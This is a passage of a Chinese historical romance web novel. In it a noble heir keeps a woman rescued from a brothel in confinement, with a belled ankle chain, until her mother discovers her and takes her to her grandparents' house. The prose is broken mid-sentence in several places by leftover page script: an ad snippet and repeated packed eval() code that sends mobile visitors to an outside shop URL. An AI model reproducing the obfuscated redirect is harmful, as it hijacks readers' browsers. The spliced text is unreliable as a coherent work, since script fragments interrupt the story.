姜明月只觉得这一觉睡得极沉。 等她迷迷糊糊再次醒来时,天光已然大亮。阳光从窗外洒了进来,姜明月不适应地闭了闭眼,只觉得头十分沉重,眼前也一片眩晕。 等她终于缓过来时,却突然发现,自己竟然已经不在山寺的厢房中,而是在一处陌生的地方。 她浑身发凉,睡意瞬时消失。 她撑着床榻坐起身,打量着四周。令她惊讶的是,这房中的布置竟与京中的别院十分相似。 这是什么地方? 她怎么会一夜之间来到这里? 正想着,姜明月听到一阵脚步声由远而近。她一惊,猛地转头,死死盯着房门的方向。 下一秒,门被推开。 “明月,你醒了?” 一身红衣的男人走了进来。 因需要戴官帽,他的长发全部束起,更衬得他目若朗星,面如冠玉。 是周诩。 姜明月心中一松,幸好进来的人不是别人。可是她茫然地看着周诩脸上温柔的笑容,还不明白发生了什么。 “昨夜睡得还好吗?” 他也不介意自己的官袍被弄皱,撩起衣摆,随意地在姜明月身边坐了下来。 姜明月忍不住问道:“公子……这是什么地方?” “之后你便住在这里。若是有什么缺的,与段青说便是。” “可是——” “等下我会让段青进来。” 周诩看着温柔无比,却丝毫不给姜明月说话的机会。 姜明月怔怔地望着他,浑身却因为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 莫名的恐惧而微微颤抖。 忽然,她的脚踝被周诩握住。姜明月一激灵,忍不住将脚往回收,却抵不过他的力气,只能眼睁睁地看着自己的脚落在那暗红一片的袍服之上。 那足链冰凉得如镣铐,碰到脚踝之时,她便下意识动了动,就听那链子上的铃铛发出清脆的响声。 姜明月几乎是在听到那铃声的一瞬间,便明白了周诩的用意。 她抿着唇,垂下眼,心中渐渐清明。 周诩将链子系上,收回手,像是感受不到她的沉默,“你只需要安心住下就好。” “是,公子放心。” 姜明月抬起头,扯着嘴角,露出乖顺的笑容。 金色的链子与她白皙的肌肤形成对比,随着她的动作在裙摆下若影若现。 “……那就好。” 周诩桃花眼微眯,轻笑一声,站起身。 见他要离开,姜明月还是忍不住喊住他,问道:“公子,红袖与江嬷嬷呢?” 没想到她到了这种时候,还记得其他人。 周诩的脚步顿了顿,声音中透着几不可闻的讽刺,“放心。你一会就能见到她们了。” 马车停在院外。周诩弯腰上了车,随安隔着车帘,低声与他道:“世子,继夫人已经查到了您名下,夫人留下的那处院子。” “是吗?我知道了。” 车内,周诩的声音平淡,听不出喜怒。不过随安还是忍不住松了口气。他们也是临时才得到的消息。 差一点,世子的事情便要暴露了。 姜明月看着周诩走出房间,好一会,她忍不住站起身,朝门口走去。 刚走到门口,她便听到了门外一陌生男子的声音。 “娘子,属下段青。娘子有什么需要的可以告诉属下。” “……我只是想出门走一走。” “是。” 段青动作迅速地替她推开房门,“娘子请吧。” 院中种满了各种花草树木,郁郁葱葱,然而姜明月却不知怎么,突然就没了兴致。 “算了。” 她转身回到房中,听到身后,段青重新帮她关上了门。 每走一步,她都能听到脚踝上传来那隐隐约约的铃声。姜明月想要将那链子摘了,可是刚蹲下身,她又想起方才周诩幽深薄凉的目光。 现在摘了又如何,等他来时见到,定是不悦的。 姜明月有些迷茫地蜷缩起身子,靠在床边。 公子是要将她软禁起来吗? 为什么? 是因为她与那人私下有往来,惹公子不悦了吗? 姜明月忽地想起周诩替她赎身那一日,说过的话。 若是她不听话,他便会将她送回抚春楼。 她咬住下唇。 看来,只有让公子消气才行。 武昌侯府,张氏的心腹嬷嬷脚步匆匆走了进来。 张氏正将妆奁里的镯子戴上,“找到人了吗?” 见那嬷嬷摇了摇头,她的脸色便不太好了。 见状,嬷嬷连忙道:“夫人,世子去江南时,不是还带了一个大丫鬟去吗?” “她说不定知道什么……” 29. 离京 闻言,张氏终于从镜子前抬起头。 “可那是他的大丫鬟,她怎会愿意告诉我们?” “若是由夫人出面,她想来是不肯说的。此事不如让老夫人出面,许她个好处。” “你是说……” 张氏有些意外,然而与她对视一眼后,顿时心领神会。 “我知道了。你也暂且不必忙了,先去休息吧。”她缓缓站起身,华丽的裙摆垂下,面上露出一抹浅笑,“我去看看给老夫人炖的汤水如何了。” 等张氏端着汤水来到岁安堂时,老夫人刚好午歇醒来,有些口渴。喝了她的汤水,老夫人忍不住露出笑容,直夸张氏贴心。 “都是媳妇该做的。”张氏接过空碗递给身后的丫鬟,见老夫人心情舒畅,这才与她提起周诩丫鬟的事。 老夫人听完,半晌没说话,只是沉吟不语。 就在张氏以为她会拒绝时,她终于点了头。“罢了。若是她肯说,也算是有功。我便允她,让她做诩哥儿的通房。” 自从江南回来后,青鸳便一直呆在世子的院子里,每日做着她大丫鬟份内的事。因此见到老夫人身边的嬷嬷时,她还有些反应不过来。 然而等那嬷嬷将老夫人的吩咐与她说了,青鸳睁大眼,满眼难以置信,也不知是因为老夫人知道了世子外室的事,还是因为老夫人要做主让自己成为通房。 “嬷嬷……你,你在说什么?”她压下心中的惊涛骇浪,强装镇定,“我不知道有这种事。” 嬷嬷对她会否认并不意外,她笑了笑,拉住青鸳的手,“青鸳姑娘,我知道你对世子是忠心耿耿的。只是这事也关乎世子,乃至整个侯府的前途,是不是?更何况……你也要为自己考虑了。” “我——” “你好好考虑一下。只是,莫要让老夫人等太久。” 嬷嬷走后,青鸳独自一人在房中坐了许久。直到掌灯时,她才起身去收拾世子的房间。 “世子还未回来吗?” 见到从外面进来的从枫身后再无旁人,青鸳忍不住问道。 “嗯。世子有公务要忙。” 是吗? 青鸳目光复杂。 只怕世子迟迟不回,不仅仅是因为公务。 院外,周诩掀起车帘,自车上踱步而下。他的官服还未换下,眉宇间透着几分疲惫。 还未走至正房,他便听到了悠悠的丝竹声。 悠扬的琵琶声伴随着女子婉转的歌声,扣人心弦。 他知道姜明月问段青寻了琵琶,这却是他第一次听到她弹奏。 而她会唱曲子,他许久前便知道。 连随安都不知道,他其实每次醒来,都有夜晚离魂之时的记忆。 想到那一晚听到她如呢喃的歌声,周诩眯起桃花眼,毫不后悔自己的决定。 姜明月听到声音,抬起头。见到是周诩,她先是一愣,接着露出笑容,抱着琵琶站了起来。 “公子来了。” 一旁的红袖接过她的琴,姜明月快步朝周诩走去。 因着整日在院中没有其他人,夏日炎热,她便只穿了轻薄的衫裙。薄纱的背子下透出绸缎的系带,行走间,裙摆摇曳,铃声轻响,脚踝上的一线金色更是若隐若现。 “今日怎么想起来弹琴?” “原是想弹给公子听的,不过是怕手生,先练一练罢了。” 姜明月笑容明媚,全心全意望着周诩,让人看不出破绽。 弹琴,也不过是打发时间罢了。 毕竟如今她每日要做的,除了琢磨如何讨好周诩,再无其他。 “公子若是愿意,不如我现在弹给公子听如何?” 周诩眉梢微挑,旋即勾起嘴角,笑容淡淡,“自然愿意。” 姜明月重新抱琴落座。此时天色刚暗,廊下点上了灯,二人在院中相对而坐,江嬷嬷和段青极有眼色地带着其他人走了出去。 琴声重新响起。尽管有夜色的掩护,姜明月却还是清晰地感受到了周诩落在自己身上的目光。 他漂亮清冷的桃花眼幽深一片,蕴着暗涌,似是比那夜幕还深。 姜明月弹琴的手微微颤抖。好不容易弹完一曲,她深吸一口气,索性将琵琶放下。 她上前,拉住周诩的衣袖,“公子……去房中可好?” 周诩却是一愣,紧接着他便明白了她这话的意思,双眸更沉。 她觉得自己是那等急色之人? 也是,她与自己之间,也不过是这种关系罢了。 他笑了一声,“不如就在这里如何?” 还不等姜明月反应过来,便被周诩拉到了身上。她下意识伸手抵住他的胸膛,双眼也忍不住因为慌乱而微微泛红。 “不……”她想要拒绝,可是话到嘴边,她脑中又浮现出了他那双带着寒意的眼睛。 姜明月将话咽了下去,艰难地露出笑容,“若,若是公子想……” 可是周诩却放开了她。 他重新站起身,面上不见一点欲色,方才的旖旎似乎都不存在。 “早些休息吧。我本就只是来见你一面而已。” 说完,他像是为了安抚她,扯了扯唇角,之后转身离去。 夜风吹起他宽大的袍服,姜明月望着他如青松般的背影,茫然无措。 分明,他是动了念的。 自那之后,周诩还是会来寻她,只是却从来没有过夜。大概是他公务确实繁忙。姜明月时不时能看到他眉间的凝重之色。 若是之前,她或许还会忍不住担忧,可现在,她只觉得与其自作多情,不如现在这样,乐得清闲。 周诩这些日子忙着公务,张氏没发现一点异样。青鸳那里迟迟不开口,便是老夫人都有些坐不住了。 难道,真的只是她们多想了? 每日去请安时望着老夫人的神色,周蓉莺都觉得难堪。 可是她仍旧咬牙,一口咬定自己没有看错。 这一日,老夫人将张氏叫来岁安堂。张氏心知她是要问周诩那外室的事,不敢耽搁,匆匆赶了过来。一进岁安堂,果然就见老夫人沉着脸。 可在她刚要开口之时,从外面匆匆走进一个丫鬟。 “老夫人,听前面说,世子被钦点为使臣,不日便要启程,出使塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941602|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外了!” “什么!”老夫人忍不住一下子站了起来,张氏和她身边的嬷嬷连忙去搀扶她。 “你说诩哥儿,要去塞外?” “是刚下的旨意。侯爷让人先带消息回来,好为世子收拾行李。” 老夫人深吸一口气,闭了闭眼。 “我知道了。” 能够被点为使臣,说明当今圣上看重诩哥儿。可老夫人一想到那塞外部族的凶险,宁可长孙不受重视。 等周诩回到侯府,来与她辞行时,老夫人却没有多说什么,只拍了拍他的肩膀,让他保重。 “祖母放心。孙儿定不负圣上所望,一定平安归来。” 周诩站起身,转身走出岁安堂。老夫人望着他,仿佛透过他的背影,在看武昌侯府百年的门楣。 姜明月一日未见到周诩,自然认为他今日不会再来,早早上了床歇息。 睡梦中,她却突然感觉身上传来的异样。她下意识伸手抵抗,然而手腕却被人捉住。 姜明月猛地睁开眼,等看清身上的人后,她松了口气。 “公子……” 唇间溢出一声呢喃,短暂的怔愣后,她回过神,伸手勾上他的肩头。 耳边响起清脆的铃声,在寂静的夜晚格外清晰。姜明月双颊绯红,挣扎着,不想发出这般大大动静。然而周诩却不给她拒绝的机会,她只能看着那金色的链子挂在自己的脚踝上,铃铛摇晃,响个不停。 动不了,她便想要说话。可惜还不等她出声,他便已经吻了上来。 到最后,姜明月脑中已经乱成一团,再也顾及不了其他,只能紧紧抓着他的手臂。 不知过了多久,姜明月才回过神。脸上还带着潮红,她忍不住将脸埋进周诩的怀中,不敢抬头去看他。 她察觉到了周诩今日情绪不对劲,却不知缘由。 许久,她才听到周诩带着凉意的声音。 “明日,我要离京,奉命出使塞外。” 出使塞外? 姜明月一愣,顾不得其他,抬头向他望去。 “不用担心。”感受到她的目光,周诩勾起笑容,“若是真的出了什么事,我已经让随安安排好了,留了私产给你。” 虽然他说得轻松,可是周诩却没有骗她。便是他,也没有十足的把握,能保证自己这一行毫发无伤。 只是,他若是活着回来了,此后便也不会放过她。 月光下,周诩笑着,可双眸点漆,犹如寒星。 姜明月心绪复杂。她张了张嘴,却不知说什么。 周诩却没为难她。他像哄孩童那般拍了拍她的背,“睡吧。” 等姜明月抵不住困意睡下后,周诩才起身,离开了别院。 次日清晨,老夫人知道长孙今日一大早便要走,尽管圣上不欲张扬,可她还是来到府门外,准备送一送他。 周诩一改往日的模样。他一身武将的打扮,与老夫人辞别后,才翻身上马。老夫人眼中含泪,望着一行人马离开后,才在仆妇的搀扶下,回到岁安堂。 然而刚进门,她便听丫鬟来报,说世子院里的青鸳有事要禀报。 30. 真相 周诩离京了,别院中便只剩下姜明月与江嬷嬷红袖等几个下人。段青没有跟着周诩离开,姜明月知道,他是周诩留下来,看着自己的。 江嬷嬷见她每日没有其他事可做,常常望着窗外出神,忍不住出声安慰:“娘子放心,世子很快便会回来的……” 姜明月闻言回过神,抿唇对她露出笑容,什么都没说。 “娘子!”外面传来红袖欣喜的声音,“娘子你来看,谁来了!” 姜明月好奇地朝门外望去,还不等她起身,就见一个白色的影子冲了进来。 “将军!” 来的正是将军。它亲昵地凑到姜明月脚边转来转去。 段青站在门外,看着姜明月脸上生动的笑容,他垂下头,不动声色地退了下去。 看来世子信上说的没错,果然让将军来陪姜娘子是正确的。 “怎么感觉将军好像长胖了一些?”红袖在旁边瞧着它,也觉得有趣。 “许久不见它,这小狗长得快,是长大了也说不定。” 姜明月摸着将军柔软的白毛,听到红袖与江嬷嬷的对话,仔细一想,确实好些天没见到它了。 而下一秒,她的动作一顿。 许久没见到将军,今日再见,不可能是段青擅自作主将它带来的。 那就是周诩的吩咐。 姜明月深吸一口气,让自己不要再去想他,只把注意放到将军身上。 原本她整日待着房中无处可去,可自从将军来了,它自然不乐意天天窝在房中。有时它跑到前院,段青也默许了姜明月追着它出去。 这一日,原本在院中追球的将军忽然直起身,耳朵动了动。 “将军,怎么了?” 姜明月放下针线,抬起头,好奇地看着突然停下动作的将军。 不知什么时候开始,周围忽然静了下来,段青也不见了。姜明月隐隐听到前院的方向似乎传来了陌生的动静。 将军扔下那竹子编的小球,朝前院走去。姜明月犹豫着站起身,想了想,还是跟着它走了出去。 别院门口,段青提着剑,冷眼看着眼前的妇人。 “怎么,你要与我动手不成?且不说我们夫人是堂堂武昌侯夫人,我还是奉老夫人与侯爷之命而来!” 李嬷嬷见了段青的架势,更加确信青鸳说的没错。世子定是将那外室藏在这院中了。 “早知世子的手下都是忠心之人,今日一见,果然如此。” 李嬷嬷身后,马车帘子被撩起,一位贵妇人在丫鬟的搀扶下下了马车。 “若是我今日硬要进去,你还敢拦我不成!” 张氏沉下脸,面色不善地看着段青。 “……望夫人恕罪。” 段青向后退了一步,却把剑抽了出来。 “你!” 李嬷嬷见他油盐不进,连忙上前护住张氏,生怕她被伤到。 她转了转眼睛,忽然朝段青扑去。段青没想到李嬷嬷会这么直接地撞上来,连忙闪身避开。他的剑划过李嬷嬷的手臂,她忍不住吃痛一声。 然而就在这个空隙间,张氏已经走进了院子。 “给我搜!我倒是要看看,世子金屋藏的到底是谁!” 回廊下,姜明月望着不远处的张氏,浑身发冷,背后沁出冷汗。 她知道自己此刻应该要找地方躲起来,知道自己不能被她们发现,可是她却像是失了对身体的控制,站在原地,动弹不得。 有婆子发现了她,连忙唤来其他人。她生得貌美,穿着打扮一看便不是寻常下人。她想要挣扎,却被那婆子狠狠拽住头发。两个丫鬟不由分说制住了她,将她拖到张氏面前。 张氏坐在搬来的圈椅上,冷冷地看着眼前狼狈的年轻女子。她低着头,发髻散乱,却一声不吭,倒是个识相的。 “让她抬起脸来。” 有丫鬟上前钳住姜明月的下巴,强迫她抬起头。 “你——” 张氏话没说完,待看清了眼前这张脸,她双眼睁大,心猛地一紧,脊背发凉。 十年前的回忆如潮水般涌来,她那缘分浅薄的女儿的脸,与面前的年轻女子重叠。 姜明月对她笑了笑,“阿娘,许久不见。” 耳边响起倒吸凉气的声音,然而张氏充耳不闻。她愣愣地看着姜明月,声音是连她自己都没意识到的颤抖:“明月……明月,是你吗?” 她撑着扶手站起身,几步上前,抚上姜明月的脸。等她看清她唇上的痣,张氏再也忍不住,一把抱住自己的女儿。 “明月……怎么是你,怎么是你啊……” 周围的仆妇都被眼前发生的事惊到了。抓着姜明月的两个丫鬟飞快放开她,无措地站在一边。 张氏哭了一阵,好不容易缓过来后,却蓦地意识到,这个院子住的是周诩的外室,而她的女儿出现在这里,难道…… 她颤颤巍巍地拉住姜明月的手,深吸一口气,不让自己过于失态,“先去房中。” 等二人重新梳洗后,张氏让其他人都出去,只留下自己与姜明月。尽管这次张氏带的都是自己的心腹,可她深知,这种事,越少人知道越好。 “明月,你怎么会在这里?你与世子……”她还抱着一丝侥幸。 “阿娘,”姜明月对她摇摇头,苦笑一声,“我是……世子的外室。世子救了我。” 姜明月将过去的事简单与她讲了一遍。当张氏得知她被姜家卖进花楼时,忍不住眼前一黑。 “是我对不住你。” “都是过去的事了。” 姜明月垂着眼,淡淡地说道。 可张氏心中却依旧有疑惑。 “你不要怪阿娘。其实阿娘这些年一直想去找你,世子去江南时,我也与世子说过此事……” 姜明月猛地抬起头,望见张氏复杂的神情。 “阿娘现在怀疑,世子因为不喜阿娘,所以才将你收为外室。” “不可能……”姜明月喃喃道,“公子……世子想来,只是没有认出我。” “会有这么巧的事吗?”张氏叹了口气,“明月,阿娘早就与世子说过,你的姓名,以及你唇上的痣。” “这么多年过去了,你可能改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948306|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了姓名,可这胎记却不易改。如世子这般才干的人,真的会认不出来吗?” 姜明月猛地想起第一次与周诩见面时,他将自己的唇脂抹去。 所以他,仅仅是因为不喜自己阿娘,就将自己作为报复羞辱的工具吗? 姜明月内心下意识要否认,可她却找不出反驳的话。 张氏见她像是失了魂一般,心疼地搂住她。 “没事,有阿娘在,都没事了。” 想到武昌侯对周诩外室的态度,张氏眼中渐渐清明。 “明月,你听阿娘说。阿娘……与武昌侯府说的是,你是阿娘远方的外甥女。等你与阿娘一起回去后,便对外说,你只是被世子接回来,世子还没来得及与我说而已,并不是他的外室。” “回去?”姜明月抬起眼,“去武昌侯府?” 张氏点了点头,然而姜明月却露出了哀求的神色,“阿娘,我不想去。” 如果可以,她不想再与武昌侯府有任何牵扯了。 “这……” 张氏沉思片刻,最后妥协了。 “好,那阿娘送你回外祖家可好?只是,你必须先与阿娘去一趟武昌侯府,与侯爷老夫人交代清楚。你记住,从此你只是我娘家的外甥女。” 姜明月点点头,心中空荡荡的,只觉得讽刺。 张氏见她应下,露出了笑容。 “那好,你收拾一下,便与我走吧。” 姜明月要带的东西并不多,周诩给她添置的东西,都不属于她,她也不想带。 红袖与江嬷嬷是要跟着姜明月走的,只是江嬷嬷得知真相后,心情十分复杂。 没想到,姜明月居然和继夫人是亲戚。 这下世子可该怎么办才好…… 段青见姜明月与张氏离开,便知道世子的事情瞒不住了。他并不知道姜明月今后的打算,可是她的那一声“阿娘”,就算他离得远,又被李嬷嬷纠缠,旁人不知道,可身为习武之人,他自然听了个真切。 虽然意外,可既然她与侯夫人是母女,想来侯夫人定会极力保全她,姜娘子的安危暂且无碍。 只是这事却必须要告知世子。 尤其是,姜娘子居然是侯夫人的女儿一事。 他跟在世子身边多年,虽然不如随安那般,可他也是世子的心腹。侯夫人当年作为侯爷的续弦,虽是再嫁之身,却从未提过从前的子女。 段青回身走进别院中,将今日详细写了下来,封好,送往世子手中。 世子一行人才出发不久,又是作为使臣,需要走官道,因此段青的这封信不久后,便送到了周诩手上。 随安见周诩展开信,面色如常,看不出喜怒。只是他看到最后,却忽然笑了起来。 他正奇怪这信上究竟写了什么时,却发现周诩拿着信纸,手上的信纸却被捏得微微起了皱痕。 周诩笑容不变,然而那双桃花眼中眸光潋滟,却如同化不开的浓墨一般。 “世子,出什么事了吗?” “无事。”他起身,将信纸点燃,“只是看来,我还是要尽快回京才行。” 31. 回避 张氏这次出府,老夫人与武昌侯自然是知情的。武昌侯不欲插手这件事,因此在岁安堂中等张氏的,便只有老夫人。 张氏带着一年轻姑娘进府,府中不少人见了都在好奇姜明月的身份。姜明月只当察觉不到那些打量的目光。她低着头,跟在母亲身后。 等到了岁安堂前,丫鬟挑起门帘,张氏让她在外面等着,自己走了进去。 片刻后,帘子再次被撩起,李嬷嬷走了出来,轻声道:“姑娘,进来吧。” 姜明月颔首,跟着她进了岁安堂。 “民女姜明月见过老夫人。” 老夫人神色复杂地看着下方的姜明月。 她怎么也没想到,周诩所谓养在外面的人,会是张氏的外甥女。 武昌侯夫妇托周诩找人的事老夫人也知道。听张氏的意思,是这些天周诩找到了人,却因为公务繁多,加上还未确定身份,才将人安置在外面,没想到却让青鸳误会了。 她心中难免对张氏也生出几分怨怼。若是事情闹大了,传出去,岂不是叫外人误会武昌侯府的名声? 因着这一点,她对姜明月的态度也冷了几分。见她与自己行礼,老夫人只淡淡地应了一声,让她起身。 等姜明月起身时,老夫人才认真打量起她。见她虽然生得貌美,眉眼间却没有轻浮之色,老夫人心中一松。 这要是个不安分的,接到府里来才是个麻烦。 她下意识认为张氏是要接了姜明月到武昌侯府住下,所以在她听到姜明月要回张氏娘家时,便露出了意外。 “我娘家母亲也想念明月。”张氏笑着解释道,“没想到都是一场误会。等世子回来了,我定要与世子道谢。” 见老夫人并没有再追问,像是信了她的说辞,她暗暗松了口气。 她竟然差一点就害了自己的亲生女儿。 幸好青鸳那个丫头是识趣的,只说知道周诩常去的宅子有女子,却没有说出其他,这才给了她借口。不然,她真不知要怎么圆回来了。 至于周蓉莺那…… 张氏双眸微眯,左右她也没有其他证据,只要咬定她看错了就是。 就算她没有看错,那日与周诩举止亲密的女子,也不会是姜明月。 待老夫人了解清楚事情的原委之后,张氏知道姜明月不宜在武昌侯府久待,便主动提出送她回尚书府。 老夫人点了点头,也不再留她。 然而等二人出去后,老夫人沉吟片刻,让人将二姑娘找来。 直到出了侯府,张氏的心才彻底落下来。 她早就向娘家送了信,于是她转头,对姜明月露出笑容,“走吧,我带你去你外祖家。” 姜明月同样对她笑了笑,可是心中却没有掀起什么波澜。 对于从未见过的人,自然很难平白无故有什么感情。 姜明月从未见过她的外祖父。从前偶尔听张氏提起过他,可惜在张氏回京后,她便记不起张氏说过关于外祖是个怎么样的人了。 不过令她没想到的是,她刚下车,尚书府站着的中年人见到她,便忍不住激动地向前走了几步。 “你便是明月吧……”后面的话他却怎么也说不出了。 “这是你大舅舅。”张氏见姜明月站在原地不动,脸上露出几分茫然,便向她介绍。 “舅舅。”姜明月回过神,唤了一声。 张大老爷对上姜明月那双湿漉漉的杏眼,应了一声,脸上露出愧疚之色。他还记得,当初父亲在尚书右丞许多年却得不到升迁,自然不会错过与武昌侯府联姻的机会,便让他去江南接了丧夫的妹妹回来。 然而这么做,却终究是对不住他这个外甥女。 “先进府吧。你外祖母正在等你呢。” 或许是同样出于愧疚,又或许是对这素未谋面的外孙女的怜惜,尚书夫人一见姜明月便红了眼眶,拉着她,险些落下眼泪。 姜明月靠在她温暖的怀中,有些出神。 若说她当初没有怨过外祖家带走母亲,这么多年对她不闻不问,是不可能的。只是如今她却要寄住在此,她实在不知该用什么心情来面对他们。 姜明月的真实身份,便是在张家,也只有少数几位长辈知道。等晚膳时间,姜明月的外祖张尚书回府后,她才见到府上的其他人。 张氏身为武昌侯夫人,自然不能久留。于是姜明月便由外祖母拉着,介绍给众人。 张家人口并不复杂。张尚书只有二子二女,女儿都出嫁了,幼子在外赴任,府中便只剩长子一家以及幼子的妻儿。 除了知道姜明月真实身份的二老以及张大老爷,其他人都对这个远方的表姑娘没什么兴趣。 姜明月也不介意。她只管低着头,专心吃着晚膳。 忽然,她发觉有一道目光一直紧紧盯着自己。 姜明月皱了皱眉。她忍不住抬起头,与那视线的主人对上眼。 年轻男子目光灼灼,带着毫不掩饰的轻佻。 是她二舅舅的独子张文琰。 方才有祖父祖母盯着,张文琰不敢放肆。他生的如文雅书生,然而此时,见众人都在用膳,无人注意他,便原形毕露。 见姜明月抬头望着自己,他只觉得这表妹更加动人了,不由得对她露出笑容。 手心沁出冷汗,姜明月强忍着不适,飞快移开眼。 她不可能不明白张文琰的眼神。正在她不知道该如何应对时,尚书夫人决定将她留在她的院子里。这样一来,她平日里便不会与张文琰接触。姜明月松了口气,在尚书府住了下来。 在尚书府的日子,倒是与昔日在吴州,她父亲没出事之前的日子差不多。姜明月每日所做的,便是去给祖母请安,之后和几位表姐妹看书作画。尚书夫人不欲亏待她,姜明月想要做什么她都不拦着。若是她要出门,尚书夫人便不顾她退居,给她塞银票,让她尽管花。 然而她给姜明月银钱一事,却不知怎么被二夫人知道了。她有些不忿,明明只是个远方来投奔的破落户,凭什么让老太太如此看重? 想之前,她娘家出了事,求到她这里。她拿不出那么多钱,便去求了老太太,老太太居然想都不想就回绝了,害得她娘家如今被贬官。 而同样是帮衬亲戚,如今到了这表姑娘这里,老太太居然如此大方。 二夫人心中憋着一口气,平日里见了姜明月,自然没什么好脸色。 姜明月不知缘由,对二夫人不善的目光,只当看不见。这些日子,她渐渐与外祖母熟悉了起来,二人亲近了不少。 这一日,姜明月从府外回来。她刚去挑了几块布料,准备给外祖母做件夏衫。夏日炎炎,院中一片静谧。尚书夫人午休歇下了,只有一两个小丫鬟拿着杆子,在院中粘蝉,生怕它们吵了老夫人休息。 红袖替姜明月撑着伞,等回到了房中,才感受到一阵阴凉。她将伞收了,擦了擦额头的汗。 “这京都的夏天可真热。我瞧姑娘才出去一会,脸上就红了,待会用湿帕子敷一敷吧。” 自从姜明月离开了别院,红袖便把对她的称呼改了回来。她瞧着自家姑娘原本白皙水嫩的肌肤,此刻脸颊红彤彤的,像是被阳光伤到了一般。 姜明月却不甚在意,她的皮肤只是比旁人更容易泛红罢了。看着严重,说不定过一会就一点印子都没有了。她兴致勃勃地翻看着手上的料子,琢磨着一会如何裁剪。 闻言,她抬起头,对红袖笑道:“我没事的。你也别忙了,快去休息一会吧。” “我不累……” “那便先喝点茶吧。” 姜明月这几天与表妹张锦青做了些花茶,就算放凉了再喝也没有那么伤身。 正与红袖说着,忽然,窗外传来一声动静,在安静的午后格外突兀。 姜明月与红袖一下子噤了声,紧张地看向紧闭的窗户。 透过窗纸,可以看见那里隐隐有个人影。 红袖壮着胆子,朝窗外喊了一声:“谁在那里?” 窗外那人沉默了一会,在低声道:“姜……姑娘不必害怕,我是随安。” 随安? 仔细一听,那声音确实是随安的声音。姜明月的心一跳,随安怎么会在这里?他不是与周诩出使塞外了吗? 姜明月不开口,随安便接着道:“不知姑娘可否随属下一同去见世子……” 周诩回京了? 一时间,姜明月不由得愣住。她竟不知道,自那日周诩来与她告别之后,时间已经过去了这么久。这些天,她没有再去想那段日子发生的事。即使是偶尔在梦中梦见那时的事,周诩的面容也已经变得模糊不清了。 如果可以,她根本不想再与他纠缠,此时再让她去见周诩?姜明月沉下脸。 “我不去。随安公子请回吧。” 随安听了她的回答,没有放弃,语气中也带了几分恳求:“世子受了伤,好不容易才回到京中。如今世子再次毒发,昏迷不醒……属下见他一直攥着姑娘的帕子——” 姜明月的手一抖,柔软的布料从她手中滑落。 “莫要再说了。”姜明月垂着眼,深吸一口气,声音淡淡,“我不会去的。” “想来医官的医术高明,世子定会无事的。” 她去了又能做什么? 她态度坚定,说完别不再开口。随安无法,在外面沉默了一会,才终于离开。 红袖小心翼翼地观察着她的脸色,心中却清楚,姑娘与世子,只怕是没办法就这么断了的。 前些时,她隐隐听到府里的风声,说是尚书夫人与大夫人正商议着,要给姑娘议亲。 她没有告诉姜明月这事。姑娘这些天看着比之前开朗了许多,她不想再平添她的烦恼。 可姑娘与世子的事,终究是个隐患。若是哪天瞒不住了,该怎么办? 议亲一事不是别人,正是二夫人提出来的。 这些天她也发现了,老夫人对姜明月这么疼爱,想来她的嫁妆定不会少。虽然比不了其他高门贵女,可是这样的嫁妆和身份,配自己的娘家侄子却是再合适不过。 于是她便试探着向老夫人提议,表姑娘也过了及笄的年龄,可以开始相看人家了。 尚书夫人虽然没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968063|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有立刻应下,可看样子,是被自己说动了的。 也因着这个原因,二夫人开心了,对姜明月的态度也转变了不少,就连向来与二夫人不亲近的张锦青都注意到了。 这一日,张锦青来找姜明月时,见到她桌上放着二夫人送来的绿豆汤,撇了撇嘴。 “二婶最近怎么这么大方,这种汤水平日里从来是没有的,今日居然连你这都得了一份。” “许是人逢喜事吧。”姜明月没多想,却也不会因为她这碗绿豆汤便与她亲近。她与二夫人不熟,更是记得二房那位表哥看她的眼神,至今想起来都让她一阵恶寒。 张锦青没那么客气,冷笑了一声:“我看她是没安好心的。” 她让人把那绿豆汤端出去后,才想起这次来找姜明月的目的。 “表姐,明月表姐……” 姜明月听她这么喊自己,便知事情不简单。果然下一秒,就见张锦青上前,拉住她。 “你见过武昌候世子吗?” “……见过。” 张锦青没有察觉她的异样,继续拉着她说:“听说出使塞外的使臣回京了!武昌候世子也在其中呢。圣上都要去亲迎。表姐,咱们也去看吧?” 姜明月一愣,周诩不是早就回到京城了吗? 虽然她心中疑惑,可是当张锦青说完,姜明月还是毫不犹豫地摇摇头,“我不去。” 张锦青见她拒绝,有些着急。若是姜明月也不去,那她开口,祖母肯定更不会同意了。 “当天肯定可热闹了!表姐,咱们就去看看嘛。” 